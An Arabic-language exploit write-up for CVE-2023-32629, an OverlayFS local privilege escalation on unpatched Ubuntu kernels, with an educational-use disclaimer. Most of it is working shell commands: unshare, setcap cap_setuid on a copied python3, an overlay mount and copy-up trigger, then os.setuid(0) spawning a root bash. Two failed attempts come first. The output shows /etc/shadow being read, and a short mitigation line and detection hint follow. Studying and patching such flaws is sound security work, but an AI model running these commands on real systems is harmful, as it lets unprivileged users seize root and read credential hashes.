
تصعيد الامتيازات المحلي عبر OverlayFS - شرح كامل حتى التصعيد الكامل
OverlayFS Local Privilege Escalation - شرح كامل للتصعيد الكامل
لأغراض تعليمية وبحوث أمنية مصرح بها فقط.
الخطورة: عالية
النوع: تصعيد صلاحيات محلي (LPE)
المتأثر: نوى Ubuntu قبل تصحيحات مايو/يونيو 2023
المتطلب: تمكين مساحات المستخدم غير المميزة (افتراضي في Ubuntu)
CVE-2023-32629 هي ثغرة في تطبيق OverlayFS في نواة لينكس. تسيء استخدام التفاعل بين مساحات المستخدم الاسمية و قدرات نظام الملفات أثناء عملية النسخ-الرفع (copy-up) في OverlayFS لتحقيق تصعيد الصلاحيات من أي مستخدم غير مميز إلى الجذر الحقيقي للمضيف.
عند تشغيل unshare -r، تنشئ النواة مساحة اسمية جديدة للمستخدم وتُعيّن UID المضيف الخاص بك إلى UID 0 بداخلها:
/proc/self/uid_map:
0 1001 1 ← "UID 0 داخل المساحة الاسمية = UID 1001 (صلاحيات منخفضة) خارجها"
هذا يعني أنك تظهر كـ root داخل المساحة الاسمية، لكن النواة تترجم دائماً إلى UID الحقيقي عند إجراء فحوصات صلاحيات نظام الملفات على موارد المضيف.
يقوم OverlayFS بتجميع lowerdir (للقراءة فقط) و upperdir (للقراءة والكتابة) في عرض مدمج. عند كتابة ملف في lowerdir من خلال العرض المدمج، تقوم النواة بنسخه إلى upperdir أولاً — وهذا يُسمى النسخ-الرفع (copy-up).
مهم: يتم النسخ-الرفع بواسطة النواة نفسها باستخدام صلاحيات المضيف، بغض النظر عن المساحة الاسمية التي سببت ذلك. يتم الحفاظ على جميع السمات الموسعة (xattrs)، بما في ذلك قدرات نظام الملفات، أثناء هذه العملية.
| الآلية | تتطلب ملكية الجذر | تُمنح بواسطة |
|---|---|---|
| بت SUID | ✅ نعم | chmod u+s |
القدرات (cap_setuid) | ❌ لا | setcap + xattr موثوقة |
هذا التمييز هو جوهر الاستغلال. يتم احترام القدرات بواسطة النواة بناءً على xattr فقط، بغض النظر عن مالك الملف.
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
تم تشغيل أوامر cp و chmod داخل المساحة الاسمية، حيث يكون UID 0 معيناً إلى lowpriv على المضيف. إذن:
/tmp/rootshell مملوكاً لـ lowpriv، وليس الجذر الحقيقيlowpriv يمنح صلاحيات lowpriv فقط — وهو ما نملكه بالفعلcp أيضاً أزالت سمات القدرة من الثنائيunshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
كانت الشل جذراً داخل المساحة الاسمية فقط. عندما حاولت الوصول إلى /etc/shadow، أجرت النواة فحص صلاحيات VFS باستخدام UID المضيف المترجم:
عملية UID (داخل NS): 0 (تبدو كجذر)
ترجمة النواة: 0 → 1001 (lowpriv على المضيف)
أذونات /etc/shadow: 640 root:shadow
UID المدقق الفعلي: 1001 (lowpriv)
النتيجة: EACCES — تم رفض الإذن
فقاعة المساحة الاسمية لا تخترق أبداً إلى جذر المضيف الحقيقي عند لمس موارد نظام ملفات المضيف.
# الخطوة 1: إعداد OverlayFS داخل المساحة الاسمية والخروج
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch يُشغّل النسخ-الرفع للنواة: l/python3 → u/python3
# النواة تشغّل النسخ-الرفع بصلاحيات المضيف، محتفظة بـ xattr لـ cap_setuid
# الخطوة 2: التحقق من بقاء القدرة على نظام ملفات المضيف
getcap u/python3
# u/python3 cap_setuid=eip ← xattr موثوقة مضبوطة على FS المضيف
# الخطوة 3: التنفيذ خارج المساحة الاسمية
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. setcap داخل مساحة المستخدم الاسمية
│
│ يكتب cap_setuid كـ xattr موثوقة على l/python3
▼
2. touch m/python3 → يتم تشغيل النسخ-الرفع في OverlayFS
│
│ النواة تنسخ l/ → u/ باستخدام صلاحيات المضيف
│ جميع xattrs محفوظة، بما في ذلك cap_setuid
▼
3. u/python3 موجود على نظام ملفات المضيف
│
│ المالك: lowpriv (غير مهم للقدرات)
│ xattr: cap_setuid=eip (النواة تثق بهذا)
▼
4. تنفيذ u/python3 خارج المساحة الاسمية
│
│ لا يوجد تعيين UID ساري المفعول
│ النواة تقرأ cap_setuid=eip كقدرة على مستوى المضيف
│ os.setuid(0) → جذر المضيف الحقيقي
▼
5. الشل لديها UID 0 حقيقي
│
│ فحوصات VFS تنجح كجذر حقيقي
└─ /etc/shadow قابل للقراءة
لا ينبغي للنواة أن تكرم سمات القدرة الموثوقة (trusted capability xattrs) التي تم تعيينها من داخل مساحة مستخدم اسمية أثناء النسخ-الرفع، لأن تلك السمات تحمل ثقة على مستوى المضيف. الفشل في فرض هذا الحد هو الثغرة.
المساحة الاسمية أعطتنا القدرة على تعيين قدرة موثوقة على ملف؛ نسخ-الرفع بواسطة النواة قام بتهريب تلك القدرة إلى نظام ملفات المضيف؛ التنفيذ خارج المساحة الاسمية جعلها حقيقية.
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs غير المتوقعة من قبل مستخدمين غير مميزينهذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها هو غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام.
| داخل المساحة الاسمية | خارج المساحة الاسمية |
|---|
| UID 0 يعني | lowpriv (مُعيّن) | جذر حقيقي |
تأثير setuid(0) | بدون تأثير (بالفعل جذر-NS) | تصعيد حقيقي |
| الوصول إلى FS المضيف | مترجم → lowpriv | جذر كامل |
cap_setuid مُكَرَّم | داخل NS فقط | نعم، على مستوى المضيف |